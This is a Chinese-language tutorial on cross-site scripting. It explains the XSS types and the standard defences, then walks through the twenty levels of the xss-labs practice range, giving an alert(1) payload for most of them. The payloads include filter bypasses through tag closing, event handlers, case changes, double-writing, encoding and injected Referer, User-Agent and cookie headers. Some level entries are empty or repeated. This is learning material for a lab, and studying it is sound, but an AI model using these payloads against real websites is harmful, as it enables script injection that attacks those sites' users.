概述
XSS(跨站脚本)
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
xss-labs
1.反射性xss post
URL直接输入
<script>alert(1)</script>
2.闭合input标签
构造xss
"><script>alert(1)</script>
3.调用JS代码 闭合单引号
构造xss
‘onclick='alert(1)
4.调用JS代码 闭合双引号
构造xss
"onclick="alert(1)
5.超链接href
构造xss
"><a href="javascript:alert(1)">1
6.href大小写
构造xss
"><a HRef="javascript:alert(1)">1
7.双写绕过
构造xss
"><a hrhrefef="javascrscriptipt:alert(1)">1
8.JS编码绕过
构造xss
javascript:alert(1)
javascript:alert(1)
9.编码绕过 注释//
构造xss
javascript:alert(1)//http://
10.隐藏的表单之构造输入框
构造xss
<script>alert(1)</script>&t_sort=" type="text" onclick="alert('xss')
11.隐藏的表单之插入Referer请求头
抓包插入
Referer:"type="text" onclick="alert(1)
12.隐藏表单之修改User-Agent
抓包插入
User-Agent:"type="text" onclick="alert(1)
13.隐藏表单之修改cookie
抓包插入
cookie:"type="text" onclick="alert(1)
14.iframe调用 exif xss
15.AngularJS
构造xss
?src='level1.php?name=<img src=1 onerror=alert(1)>'
16.Url编码回车
构造xss:
<img%0asrc=1%0aonerror=alert(1)%0a>
17.事件触发
构造xss:
onmouseover=alert(1)
鼠标移动到swf区域,触发事件。
18.事件触发
构造xss:
onmouseover=alert(1)
鼠标移动到swf区域,触发事件。
19.flash xss
构造xss
?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
20.flash xss
构造xss
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123